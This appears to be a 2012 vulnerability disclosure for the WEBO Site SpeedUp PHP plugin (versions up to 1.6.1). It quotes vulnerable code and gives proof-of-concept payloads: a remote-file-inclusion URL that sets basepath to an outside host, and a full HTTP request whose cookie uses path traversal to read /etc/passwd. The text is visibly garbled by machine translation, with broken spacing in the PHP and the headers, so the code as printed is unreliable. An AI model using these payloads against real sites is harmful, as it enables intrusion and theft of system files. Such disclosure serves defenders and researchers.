WEBO Site SpeedUp & lt; = 1.6.1 multiple defects and repair

Discoverer dun \ posdub [at] gmail.com
######################################## #######################
 
# [WEBO Site SpeedUp <= 1.6.1] Multiple Vulnerabilites
# Script: "WEBO Site SpeedUp is a PHP solution that automatically speeds your
 
# Website up by combining and compressing your JavaScript and CSS assets ..."
 
Developer http://www.webogroup.com/home/
 
: Http://web-optimizator.googlecode.com/files/webo.site.speedup.v1.6.1.zip
 
#
Vulnerability location:./weboptimizer/index. php (lines: 7-21)
 
#...
 
# $ Basepath = isset ($ basepath )? $ Basepath: dirname (_ FILE _). '/'; // 1 [RFI]
 
#
 
#/* We need these */
 
# Require ($ basepath. "controller/admin. php"); // 2 [RFI]
 
# Require ($ basepath. "libs/php/view. php ");
 
#
 
#/* Include language file */
 
# $ Language = strtolower (preg_replace ("/[-,;]. */", "", empty ($ _ SERVER ["HTTP_ACCEPT_LANGUAGE"])? 'En': $ _ SERVER ["HTTP_ACCEPT_LANGUAGE"]);
 
# $ Language = preg_replace ("/[^ a-z]/", "", $ language );
 
# $ Language = str_replace (array ('uk '), array ('ua'), $ language );
 
# If (! Empty ($ _ COOKIE ['wss _ lang ']) {// 1 [LFI]
 
# $ Language = strtolower ($ _ COOKIE ['wss _ lang']); // 2 [LFI]
 
#}
 
# If (is_file ($ basepath. "libs/php/lang/". $ language. ". php ")){//
 
# Require ($ basepath. "libs/php/lang/". $ language. ". php"); // 3 [LFI]
 
#} Else {
 
# Require ($ basepath. "libs/php/lang/en. php ");
 
#}
 
#...
 
[RFI] Vuln: (allow_url_include = On; register_globals = On ;)
 
Http://www.2cto.com/weboptimizer/index. php? Basepath = http: // localhost/phpinfo.txt?
 
[LFI] Vuln: (magic_quotes_gpc = Off ;)
 

 
GET/weboptimizer/HTTP/1.1
 
Host: localhost
 
User-Agent: Mozilla/5.0
 
Accept: text/html, application/xhtml + xml, application/xml; q = 0.9, */*; q = 0.8
 
Accept-Language: pl, en-us; q = 0.7, en; q = 0.3
 
Accept-Encoding: gzip, deflate
 
Connection: keep-alive
 
Referer: http: // localhost/weboptimizer/
 
Cookie: wss_blocks = wss_toolswss_linkswss_newswss_syswss_updates; wss_lang =.../../etc/passwd % 00
 

 
HTTP/1.1 200 OK
 
Server: Apache
 
Date: Fri, 14 Jun 2012 22:29:39 GMT
 
Content-Type: text/html; charset = UTF-8
 
Connection: keep-alive
 
X-Powered-By: PHP/5.2.10
 
Expires: Sat, 16 Jun 2012 03:29:39 + 0400
 
Cache-Control: no-store, no-cache, must-revalidate, private
 
Pragma: no-cache
 
Vary: Accept-Encoding, User-Agent
 
Content-Encoding: gzip
 
Content-Length: 2099
 

 
### [Dun/2012]